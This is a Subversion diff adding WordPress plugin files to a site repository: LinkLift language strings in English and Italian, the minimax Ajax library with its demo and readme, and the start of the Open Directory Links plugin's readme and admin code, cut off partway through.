+@define( 'LINKLIFT_CONFIG_DESCRIPTION_LINKS_PER_ROW'	, 'Number of columns in which textlinks will be displayed. If you want the textlinks to be displayed horizontally you should use the highest possible number of columns.' . ' ' . LINKLIFT_INTERNAL_NOTE_NO_HTML);
+
+@define( 'LINKLIFT_CONFIG_TITLE_FONT_SIZE'				, 'Font Size');
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_FONT_SIZE'		, 'The font size of your textlinks.' . ' ' . LINKLIFT_INTERNAL_NOTE_NO_CSS);
+
+@define( 'LINKLIFT_CONFIG_TITLE_LINK_COLOR'				, 'Textlink Color');
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_LINK_COLOR'		, 'The color of your textlinks. You can use CSS color-values in the format #XXX or #XXXXXX or their english names (e.g. Red, DarkGreen, RoyalBlue, Magenta, ...). Leave this field empty to use the link color of your theme.' . ' ' . LINKLIFT_INTERNAL_NOTE_NO_CSS);
+
+@define( 'LINKLIFT_CONFIG_TITLE_BG_COLOR'				, 'Background Color');
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_BG_COLOR'			, 'The background-color of the LinkLift-block. You can use CSS color-values in the format #XXX or #XXXXXX or their english names (e.g. Red, DarkGreen, RoyalBlue, Magenta, ...). Leave this field empty to get a transparent background.' . ' ' . LINKLIFT_INTERNAL_NOTE_NO_CSS_OR_HTML);
+
+
+
+// Version- and Update-messages
+// -------------------------------------
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE'					, 'There is a new version of your textlink-plugin available on the LinkLift website.' );
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE_DOWNLOAD'			, 'Please update now.' );
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE_INFORM'			, 'Please notify a site administrator.' );
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE_COMPLETE_ADMIN'	, LINKLIFT_PLUGIN_OUT_OF_DATE . ' ' . '%s' . LINKLIFT_PLUGIN_OUT_OF_DATE_DOWNLOAD . '%s' );
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE_COMPLETE_USER'	, LINKLIFT_PLUGIN_OUT_OF_DATE . ' ' . '%s' . LINKLIFT_PLUGIN_OUT_OF_DATE_INFORM   . '%s' );
+
+@define( 'LINKLIFT_PLUGIN_UP_TO_DATE'					, 'You have the latest version of the plugin.' );
+
+
+// Widgets-page
+// -------------------------------------
+@define( 'LINKLIFT_WIDGETS_CONFIG_REMARK'				, 'To configure the LinkLift-plugin go to the configuration-submenu %s in the  plugins-menu.' );
+
+
+// Other
+// -------------------------------------
+@define( 'LINKLIFT_WEBSITE_KEY'							, '---' );
+
+// -------------------------------------
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom_lang_it.inc.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom_lang_it.inc.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/linklift/linklift_divcom_lang_it.inc.php	(revision 44)
@@ -0,0 +1,98 @@
+<?php
+
+/** ******************************************************
+ *  @version 1.5                                         *
+ *  @author  Andreas Rayo Kniep (www.linklift.de)        *
+ *  @date    2007-05-04,2007-06-10,2007-06-27            *
+ *                                                       *
+ *  italian language file  (no special signs used)       *
+ ** **************************************************** */
+
+
+// LinkLift's own configuration page
+// -------------------------------------
+@define( 'LINKLIFT_CONFIG_TAB_TITLE'					, 'Configurazioni LinkLift' );
+@define( 'LINKLIFT_CONFIG_TITLE'						, 'Configurazione del Plugin di LinkLift' );
+
+@define( 'LINKLIFT_PLUGIN_DESCRIPTION_1'				, 'LinkLift &eacute; il mercato per la vendita di link. Per ogni link, venduto sul tuo sito, guadagni un fisso mensile - a prescindere dal numero di visite e di click. %sRegistrati subito%s.' );
+@define( 'LINKLIFT_PLUGIN_DESCRIPTION_2'				, 'Funzionalit&aacute; del plugin di LinkLift:' );
+@define( 'LINKLIFT_PLUGIN_DESCRIPTION_3'				, 'Il plugin di LinkLift si collega automaticamente al server di LinkLift, scarica i link, che hai venduto,  e li salva direttamente all&acute;interno del pannello opzioni della base di dati di Wordpress (&#039;wp_options&#039;).' );
+
+
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_1'			, 'Ci sono due modi per installare il plugin di LinkLift sul tuo sito:' );
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_2'			, 'Vai al menu %s, seleziona e trascina il widget %s fino alla barra laterale, quindi fai click su &quot;Aggiorna impostazioni&quot;.  (Per le versioni precedenti a Wordpress 2.1 &eacute; necessario il Widgets-plugin. Inoltre il tuo tema deve supportare widgets.)' );
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_3'			, 'Vai al menu %s, clicca con il tasto destro del mouse su &quot;Sidebar&quot; (barra laterale) e inserisci il seguente codice nella posizione esatta in cui desideri vengano configurati i link:' );
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_4'			, 'Ricordati che il file della sidebar (barra laterale) deve avere i permessi di  scrittura. Inoltre, fai attenzione a non inserire il nostro codice in un blocco condizionale.' );
+@define( 'LINKLIFT_INSTALLATION_INSTRUCTIONS_5'			, 'In generale, consigliamo un&acute;inserimento senza cuciture.' );
+
+@define( 'LINKLIFT_CONFIG_TEXT_OPTIONAL_VALUES'			, 'Utilizzando la seguente opzione puoi modificare la grafica dei link. Raccomandiamo di utilizzare lo stesso formato CSS del tema del blog in modo tale che i link si adattino perfettamente al layout della pagina.' );
+// -------------------------------------
+
+
+@define( 'LINKLIFT_INTERNAL_NOTE_NO_CSS'				, 'Questa opzione non &eacute; valida se hai scelto di utilizzare il formato CSS del tuo tema.' );
+@define( 'LINKLIFT_INTERNAL_NOTE_NO_HTML'				, 'Questa opzione non &eacute; valida se hai scelto di non utilizzare le etichette HTML.' );
+@define( 'LINKLIFT_INTERNAL_NOTE_NO_CSS_OR_HTML'		, 'Questa opzione non &eacute; valida se hai scelto di utilizzare il formato CSS del tuo tema o se hai scelto di non utilizzare etichette HTML.' );
+
+
+
+
+// actual configuration titles and description-texts
+// -------------------------------------
+@define( 'LINKLIFT_CONFIG_HEADLINE_GENERAL'				, 'Impostazioni generali' );
+@define( 'LINKLIFT_CONFIG_HEADLINE_OPTIONAL'			, 'Altre Impostazioni' );
+
+@define( 'LINKLIFT_CONFIG_TITLE_WEBSITE_KEY'			, 'Chiave del sito (LinkLift Website Key)' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_WEBSITE_KEY'		, 'La chiave del sito (LinkLift Website Key) &eacute; il numero di identificazione, che contrassegna il tuo sito nel mercato di annunci di LinkLift. Quando scarichi il plugin da LinkLift, questo valore ti viene assegnato automaticamente.' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_WEBSITE_KEY_2'	, 'Se ancora non ti sei registrato, %sRegistrati ora%s.' );
+@define( 'LINKLIFT_WEBSITE_KEY_EXPLANATION_LINK'		, 'Di che cosa si tratta?' );
+
+@define( 'LINKLIFT_CONFIG_TITLE_PLUGIN_HEADLINE'		, 'Titolo del plugin' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_PLUGIN_HEADLINE'	, 'Il titolo del plugin &eacute; la voce sotto cui vengono raggruppati i link di LinkLift sul tuo sito.' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_PLUGIN_HEADLINE_2', 'Per dritte e informazioni su come intitolare i tuoi link, se come annunci pubblicitari o redazionali, consulta %scome segnalare i propri Text Links%s.' );
+
+
+
+@define( 'LINKLIFT_CONFIG_TITLE_NO_CSS'					, 'Usare il formato del tema' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_NO_CSS'			, 'Attivando questa opzione, il modulo LinkLift utilizzer&aacute; lo stesso stile del CSS del tuo tema. In caso contrario, il modulo LinkLift utilizzer&aacute; il proprio CSS.' );
+
+@define( 'LINKLIFT_CONFIG_TITLE_NO_HTML'				, 'Pulire i links (&quot;senza HTML&quot;)');
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_NO_HTML'			, 'Attivando questa opzione, il modulo LinkLift generer&aacute; annunci di testo senza etichette HTML (P,UL,LI). In caso contrario, verranno aggiunte etichette HTML.' );
+
+@define( 'LINKLIFT_CONFIG_TITLE_LINKS_PER_ROW'			, 'Link per riga');
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_LINKS_PER_ROW'	, 'Il numero di colonne in cui verranno mostrati i link. Se desideri che gli annunci vengano configurati verticalmente dovresti utilizzare il maggior numero di colonne possibile.' . ' ' . LINKLIFT_INTERNAL_NOTE_NO_HTML);
+
+@define( 'LINKLIFT_CONFIG_TITLE_FONT_SIZE'				, 'Grandezza del carattere' );
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_FONT_SIZE'		, 'La grandezza del carattere dei tuoi link.' . ' ' . LINKLIFT_INTERNAL_NOTE_NO_CSS);
+
+@define( 'LINKLIFT_CONFIG_TITLE_LINK_COLOR'				, 'Colore dei Link');
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_LINK_COLOR'		, 'Il colore dei tuoi link. Pu&oacute; usare valori CSS per i colori del formato #XXX bzw. #XXXXXX o pu&oacute; utilizzare i nomi in inglese (per esempio: Red, DarkGreen, RoyalBlue, Magenta, ...). Lascia questo campo vuoto, se desideri utilizzare uno sfondo trasparente.' . ' ' . LINKLIFT_INTERNAL_NOTE_NO_CSS);
+
+@define( 'LINKLIFT_CONFIG_TITLE_BG_COLOR'				, 'Colore di fondo');
+@define( 'LINKLIFT_CONFIG_DESCRIPTION_BG_COLOR'			, 'Il colore di fondo del blocco dei link. Puoi utilizzare i valori CSS per i colori del formato #XXX o #XXXXXX oppure puoi scegliere di utilizzare nomi in inglese (per esempio: Red, DarkGreen, RoyalBlue, Magenta, ...) . Lascia il campo vuoto, se decidi di utilizzare uno sfondo trasparente.' . ' ' . LINKLIFT_INTERNAL_NOTE_NO_CSS_OR_HTML);
+
+
+
+// Version- and Update-messages
+// -------------------------------------
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE'					, 'Sul sito LinkLift &eacute; disponibile una nuova versione del plugin.' );
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE_DOWNLOAD'			, 'Attualizza il plugin ora.' );
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE_INFORM'			, 'Contatta l&acute;amministratore del sito.' );
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE_COMPLETE_ADMIN'	, LINKLIFT_PLUGIN_OUT_OF_DATE . ' ' . '%s' . LINKLIFT_PLUGIN_OUT_OF_DATE_DOWNLOAD . '%s' );
+@define( 'LINKLIFT_PLUGIN_OUT_OF_DATE_COMPLETE_USER'	, LINKLIFT_PLUGIN_OUT_OF_DATE . ' ' . '%s' . LINKLIFT_PLUGIN_OUT_OF_DATE_INFORM   . '%s' );
+
+@define( 'LINKLIFT_PLUGIN_UP_TO_DATE'					, 'Ha l&acute;ultima versione del plugin.' );
+
+
+// Widgets-page
+// -------------------------------------
+@define( 'LINKLIFT_WIDGETS_CONFIG_REMARK'				, 'Per configurare il plugin di LinkLift accedere al sottomenu di configurazione %s all&acute;interno del menu plugins.' );
+
+
+// Other
+// -------------------------------------
+@define( 'LINKLIFT_WEBSITE_KEY'							, '---' );
+
+// -------------------------------------
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data1.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data1.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data1.txt	(revision 44)
@@ -0,0 +1,1 @@
+Content from file data1.txt 
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data2.xml
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data2.xml	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data2.xml	(revision 44)
@@ -0,0 +1,2 @@
+<?xml version = '1.0' encoding = 'UTF-8'?>
+<data>Content from file data2.xml</data>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data3.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data3.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/data3.html	(revision 44)
@@ -0,0 +1,11 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html>
+	<head>
+		<title>Data 3</title>
+		<meta name="GENERATOR" content="Quanta Plus" />
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	</head>
+	<body>
+		Content from file data3.html
+	</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/index.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/index.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/index.html	(revision 44)
@@ -0,0 +1,79 @@
+<html>
+  <head>
+    <title></title>
+    <meta content="">
+    <style type="text/css">
+
+div.on#trobbler1 {
+    visibility : visible;
+  }
+
+
+div.off#trobbler1 {
+    visibility : hidden;
+  }
+
+
+div.on#trobbler2 {
+    visibility : visible;
+  }
+
+
+div.off#trobbler2 {
+    visibility : hidden;
+  }
+	
+	div.on#trobbler3 {
+	visibility : visible;
+	}
+	
+	
+	div.off#trobbler3 {
+	visibility : hidden;
+  }
+
+</style>
+		<script type="text/javascript" src="../scripts/minimax.js"></script>
+  </head>
+  <body>
+		<input type="hidden" id="semaphore"/>
+		<script type="text/javascript">
+			var data1 = new minimax('data1.txt', 'div_data');
+			data1.setSemaphore('semaphore');
+			data1.setTrobbler('trobbler1', 'on', 'off');
+			var data2 = new minimax('data2.xml', 'div_data');
+			data2.setSemaphore('semaphore');
+			data2.setTrobbler('trobbler2', 'on', 'off');
+			var data3 = new minimax('data3.html', false);
+			data3.setSemaphore('semaphore');
+			data3.setTrobbler('trobbler3', 'on', 'off');
+		</script>
+		<div id='trobbler1' class='off'>Loading data1</div>
+		<div id='trobbler2' class='off'>Loading data2</div>
+		<div id='trobbler3' class='off'>Loading data3</div>
+		<div id='div_data'>This content will change</div>
+		<div>
+			<INPUT type="button" value="D1" onclick="
+						data1.get(); 
+						data1.xhr.onload = function() { 
+						alert(data1.xhr.responseText); 
+					}" /> 
+			<INPUT type="button" value="D2" onclick="
+						data2.post('a=1&amp;b=2');" />
+			<INPUT type="button" value="D1 'and' D2" onclick="
+						data1.get();
+						data2.get(); " />
+			<INPUT type="button" value="D1 then D2" onclick="
+						data1.get(); 
+						data1.xhr.onload = function() { 
+							alert(data1.xhr.responseText); 
+							data2.get(); 
+						}" />
+			<INPUT type="button" value="D3" onclick="
+						data3.get(); 
+						data3.xhr.onload = function() { 
+							alert(data3.xhr.responseText); 
+						}" />
+		</div>
+	</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/doc/readme.txt	(revision 44)
@@ -0,0 +1,101 @@
+***********************************************************************
+What is minimax?
+
+It's a minimal Ajax library. You can read files in the same 
+domain but it cannot read from other domains or in a page in a computer 
+reading from a file in the same computer, it has to run in a Webserver.
+
+***********************************************************************
+How to use minimax?
+
+First you need to declare minimax.js, and it has to be in the same server 
+where the page is. Second, you have to declare the instance of minimax
+
+var minimax = new minimax('url', 'div');
+
+where URL is the URL where we are going to get the contents, and 'div' is 
+the id for the div where we are going to put the results. You can set 'div' 
+as false so it wouldn't put the text in the page, but even then you can get 
+the result.
+
+Second, sometimes we can get data asyncronously, sometimes not. If you have to
+get those data syncronosuly we should create a semaphore. Create a hidden input
+and declare the semaphore for each instance that would use it.
+
+<script>
+	var mx = new minimax('url', 'div');
+</script>
+<input type='hidden' id='semaphore' />
+<script>
+	mx.setSemaphore('semaphore');
+</script>
+
+The input container has to be declared befor we create the semaphore in the 
+minimax instance.
+
+Third, if you want a trobbler (something to be show while geting data) you can 
+declare it like two states from the same div. You need to know CSS, sorry.
+
+mx.setTrobbler('trobbler_div', 'class_on', 'class_off');
+
+where 'trobbler' is the id of the div, 'class_on' and 'class_off' are the
+classes to switch when start the to read data (on) and stop reading data (off).
+
+<style>
+	div#trobbler {
+    //any css data
+	}
+	div.on#trobbler {
+    visibility : visible;
+	}
+
+	div.off#trobbler {
+    visibility : hidden;
+	}
+</style>
+<input type='hidden' id='semaphore' />
+<div id='trobbler' class='off'>Reading...</div>
+<div id='mx_data'>Loading...</div>
+<script>
+	var mx = new minimax('url', 'mx_data');
+	mx.setTrobbler('trobbler', 'on', 'off');
+</script>
+
+And to get data you can use post('post') or get().
+
+<div id='mx_data'>Loading...</div>
+<script>
+	var mx = new minimax('url', 'mx_data');
+	mx.post('data1=1&amp;data2=2');
+</script>
+
+The contest of <div id='mx_data'> would change, using the result from the url.
+
+If you want to get the data in a variable, insted of write it in the div, you can
+use the variable xhr of the instance.
+
+<script>
+	var mx = new minimax('url', false); //false div, so, don't write
+	mx.get();
+	mx.xhr.onload = function() { //when there is an answer
+		var xml  = mx.xhr.responseXML;
+		var text = mx.xhr.responseText;
+	}
+</script>
+		
+And if you want to change the div (or span) where the text would go, you can
+use setDiv()
+		
+<span id='new-span'>Old-text</span>
+<script>
+	var mx = new minimax('url', false); //false div, so, don't write
+	mx.setDiv('new-span');
+	mx.get();	
+</script>
+		
+***********************************************************************
+Contact
+		
+Ideas? Comments?
+email me: sebaxtian at gawab dot com
+www.sebaxtian.com
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/minimax.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/minimax.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/minimax.php	(revision 44)
@@ -0,0 +1,96 @@
+<?php
+
+/*
+Plugin Name: minimax
+Version: 0.2.5
+Plugin URI: http://www.sebaxtian.com/acerca-de/minimax
+Description: Minimax is a minimal ajax library.
+Author: Juan SebastiÃ¡n Echeverry
+Author URI: http://www.sebaxtian.com/
+*/
+
+/* Copyright 2008-2009 Juan SebastiÃ¡n Echeverry (email : sebaxtian@gawab.com)
+
+ This program is free software; you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+*/
+
+add_action('admin_head', 'minimax_header');
+add_action('wp_head', 'minimax_header');
+
+
+/**
+	* Function to add scripts into headers
+	*
+	* @access public
+	*/
+	
+function minimax_header() {
+	$dir_name = '/wp-content/plugins/minimax';
+	$url=get_bloginfo('wpurl');
+	$script= $url . $dir_name . "/scripts/minimax.js";
+	echo "\n<script type='text/javascript' src='$script'></script>";
+}
+
+
+/**
+	* Function to determine if minimax has been activated.
+	*
+	* @access public
+	*/
+
+function minimax() {
+	return true;
+}
+
+
+/**
+* Function to determine minimax version.
+*
+* @access public
+*/
+
+function minimax_version() {
+	return 0.2;
+}
+
+
+/**
+* A kind of readfile function to determine if use Curl or fopen.
+*
+* @access public
+* @param string filename URI of the File to open
+* @return The content of the file
+*/
+function mnmx_readfile($filename)
+{
+	$data=false;
+	if(function_exists(curl_init)) {
+		$ch = curl_init($filename);
+		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+		curl_setopt($ch, CURLOPT_HEADER, 0);
+		$data=curl_exec($ch);
+		curl_close($ch);
+	} else {
+		if($fop  = @fopen($filename, 'r')) {
+			$data = null;
+			while(!feof($fop))
+				$data .= fread($fop, 1024);
+			fclose($fop);
+		}
+	}
+	return $data;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/readme.txt	(revision 44)
@@ -0,0 +1,40 @@
+=== Minimax ===
+Contributors: sebaxtian
+Tags: AJAX
+Requires at least: 2.4
+Tested up to: 2.7.1
+Stable tag: 0.2.5
+
+Minimax is a minimal Ajax library.
+
+== Description ==
+
+This plugin is required by other plugins I have developed. Take a look at the readme.txt in the `/doc/` directory to know what can minimax do.
+
+These are the plugins that use minimax:
+
+* [iRate](http://wordpress.org/extend/plugins/irate/ "iRateMyDay plugin")
+* [Lexi](http://wordpress.org/extend/plugins/lexi/ "RSS widget using Ajax")
+
+== Installation ==
+
+1. Decompress minimax.zip and upload `/minimax/` to the `/wp-content/plugins/` directory.
+2. Activate the plugin through the __Plugins__ menu in WordPress
+
+== Frequently Asked Questions ==
+
+= Why minimax? =
+
+Because it's a minimal ajax library.
+
+= How do yo dare to create another Ajax library? =
+
+Yes, I know there are many Ajax libraries available, but they are too complex and I need just the basic part. Also add those libraries in each plugin would be a __redundanct code__ situation.
+
+= But, you know, there is an Ajax library in WP! =
+
+Yes, there is an Ajax library in WP, but I need an extra element it hasn't, and hacking the WP Ajax library wasn't an user friendly situation in order to make a plugin easy to install by common users. A common user wants to install, not to hack.
+
+= Can I use minimax with my plugins? =
+
+Yes you can. Take a look at the readme file in `/doc/` directory, and see the example. Remember this is an Ajax library, so it has the same limits other Ajax libraries do have.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/scripts/index.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/scripts/index.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/scripts/index.html	(revision 44)
@@ -0,0 +1,1 @@
+ 
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js	(revision 44)
@@ -0,0 +1,121 @@
+//Trobler class
+function Trobbler(div, active, inactive) {
+	var me = this;
+	
+	me.activate = function() {
+		var aux = document.getElementById(div);
+		aux.setAttribute("class", active);
+		aux.setAttribute("className", active); //IE sucks
+	}
+	
+	me.close = function() {
+		var aux = document.getElementById(div);
+		aux.setAttribute("class", inactive);
+		aux.setAttribute("className", inactive); //IE sucks
+	}
+	
+}
+
+// Read the answer of an URL and write the contents into a 'div'
+
+function minimax(url, div) {	
+	var me = this;
+
+	var semaphore = false;
+	var haveSemaphore = false;
+	
+	var trobbler=false;
+	var haveTrobbler=false;
+	
+	me.xhr = false;
+	
+	if (window.XMLHttpRequest) { // Si es Mozilla, Safari etc
+		me.xhr = new XMLHttpRequest()
+	} else { 
+		if (window.ActiveXObject) { // pero si es IE
+			try {
+				me.xhr = new ActiveXObject('Microsoft.XMLHTTP')
+			} catch (e) { // en caso que sea una versiÃ³n antigua
+				try {
+					me.xhr = new ActiveXObject('Msxml2.XMLHTTP')
+				} catch (e){}
+			}
+		} else {
+			return false
+		}
+	}
+	
+	me.setDiv = function(div_x) {
+		div=div_x;
+	}
+	
+	me.setSemaphore = function(sname) {
+		semaphore=document.getElementById(sname);
+		haveSemaphore = true;
+		if(semaphore.value=='') {
+			semaphore.value='1';
+		}
+	}
+		
+	me.setTrobbler = function(tdiv,on,off) {
+		trobbler=new Trobbler(tdiv,on,off);
+		haveTrobbler = true;
+	}
+	
+	me.closeTrobbler = function() {
+		if(haveTrobbler) trobbler.close();
+	}
+	
+	me.activateTrobbler = function() {
+	  if(haveTrobbler) trobbler.activate();
+	}
+	
+	me.xhr.onreadystatechange = function() {
+		if (me.xhr.readyState == 4 && me.xhr.status==200 ) {
+// 		var doc=me.xhr.responseXML;
+// 		var body = doc.getElementsByTagName('html')[0];
+// 		alert(body.childNodes[3].textContent);
+// 		document.getElementById(div).innerHTML=body.childNodes[3].textContent;
+			var text=me.xhr.responseText;
+			if(haveSemaphore) semaphore.value='1';
+			if(haveTrobbler) trobbler.close();
+			if(div) document.getElementById(div).innerHTML=text;
+		}
+	}
+	
+	me.get = function () {
+		if(haveTrobbler) trobbler.activate();
+		//If the semaphore is in 0, request another get in 1 second,
+		//for we are doing something and the result from the other
+		//process would be older than ours
+		if(!haveSemaphore || semaphore.value=='1') {
+			/* Esto es insultante, pero Explorer solo funciona en POST */
+			if(haveSemaphore) semaphore.value='0';
+			me.xhr.open('POST', url, true);
+			//me.xhr.overrideMimeType('text/xml');
+			me.xhr.send(null);
+		} else { 
+			setTimeout(function (){ me.get(); }, 300);
+		}
+	}
+	
+	me.post = function (post_x) {
+		if(haveTrobbler) trobbler.activate();		
+		//If the semaphore is in 0, request another post in 1 second,
+		//for we are sending something and the result from the other
+		//process would be older than ours
+		post_x=post_x.replace(/\&amp;/g, '&');
+		if(!haveSemaphore || semaphore.value=='1') {
+			if(haveSemaphore) semaphore.value='0';
+			me.xhr.open('POST', url);
+			//me.xhr.overrideMimeType('text/xml');
+			me.xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+			me.xhr.send(post_x);
+		} else { 
+				setTimeout(function (){ me.post(post_x); }, 300);
+		}
+	}
+	
+	//return me.xhr;
+	
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/README.txt	(revision 44)
@@ -0,0 +1,100 @@
+=== Open Links Directory ===
+
+name: Open Directory Links (ODLinks) Wordpress plugins version 1.0.1-a
+Contributors: Mohammad Forgani
+Donate link: http://www.forgani.com/
+Tags: websitedirectory, opendirectory, directoryproject, linkdirectory, linksdirectory, openproject, dmoz, classifieds, websitesubmitting, website, odlinks
+Requires at least: 2.6
+Tested up to: 2.6
+Stable tag: 0.6
+
+open links directory is a plugin that provides you an Open Directory Project the same as the DMOZ.org
+
+== Description ==
+
+Links-Open Directory is a Wordpress plugin 
+The plugin will help you to start a profitable link directory the same as the DMOZ.org directory.
+
+This plugin is under active development. If you experience problems, please first make sure you have the latest version installed. Feature requests, bug reports and comments can be submitted [here](http://forgani.com/opendirectorylinks/).
+
+
+== Installation ==
+
+1. Unzip the downloaded package and upload the odlinks folder into your Wordpress plugins folder
+2. Log into your WordPress admin panel
+3. Go to Plugins and "Activate" the plugin
+4. "OD-Links Admin" will now be displayed in your Options section under Manage.
+5. For first step instructions, go to Options "ODLINKS Settings"
+
+Once you submit the Settings page of ODLinks it will set off the process of installing its tables and setting up its default settings.
+
+6. Go to create and modify your Categories and Sub Categories under "ODLINKS Structure"
+
+You will need to make the Smarty cache folders writeable (chmod 777):
+
+* odlinks/includes/Smarty/cache
+* odlinks/includes/Smarty/templates_c
+
+
+== Frequently Asked Questions ==
+
+Where to customize font and background colors?
+
+You may modify the style sheet odlinks.css in wp-content/plugins/odlinks/themes/default/css/ folder in any way you wish to sets the background color of the layout area or fonts
+
+
+== Screenshots ==
+
+demo: http://forgani.com/index.php?pagename=odlinks
+
+
+== History ==
+
+
+== Changelog ==
+
+Changelog:
+
+
+Changes 1.0.1-a - Mar 17/03/2009
+- Implement the search function.
+
+Changes 1.0.0-a - Jan 25/01/2009
+- It covers changes between WordPress Version 2.6 and Version 2.7
+
+
+Changes Nov 12/2008 version v. 07
+- implement the banned list
+- added google pagerank
+
+
+Changes Nov 12/2008 version v. 05
+- implement the bookmark & sent to his friendâs button
+- edit/move categories
+
+- implement the conformation code (captcha)
+
+Changes Oct 10/2008
+- admin email notification
+- include the Google AdSense 
+
+To support Permalink structure:
+
+An example for htaccess code to redirect to odlinks
+You need an .htaccess file. The file will be create/modify by wordpress via the Permalink/mod-rewrite option. 
+
+Please edit the .htaccess file in the root folder of your Wordpress.
+You use the default .htaccess file and modify the file as follow:
+The redirect should look something like this
+
+RewriteRule !(classified|odlinks)/ /index.php [L]
+RewriteRule ^odlinks/([^/\(\)]*)/?([^/\(\)]*)/?([^/\(\)]*)/? /index.php?pagename=odlinks&_action=$1&id=$2&parent=$3 [QSA,L,R,NS]
+
+
+== To Do ==
+
+
+have fun
+Regards from Isfahan ;-)
+Mohammad Forgani, Oh Jung-Su
+oct. 23/2008
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+
+/*
+ * odl_main.php
+ * @author Mohammad Forgani
+ * wordpress plugin website directory project
+ * @copyright Copyright 2008, Oh Jung-Su
+ * @version 1.0
+ * @link http://www.forgani.com
+*/
+
+
+
+function odlinksadmin_page(){
+	global $_GET, $_POST, $PHP_SELF, $user_level, $wpdb, $odlinksuser_level, $odlinksversion;
+
+	get_currentuserinfo();
+
+	$odlinkssettings = get_option('odlinksdata');
+
+	?>
+	<div class="wrap">
+		<h2>
+			<?php echo $pagelabel;?>
+		</h2>
+
+		<?php
+		switch ($_REQUEST['odlinks_admin_page_arg']){
+			case "odlinkssettings":
+				default:
+				process_odlinkssettings();
+			break;
+			case "odlinksstructure":
+				process_odlinksstructure();
+			break;
+			case "odlinksposts":
+				process_odlinksposts();
+			break;
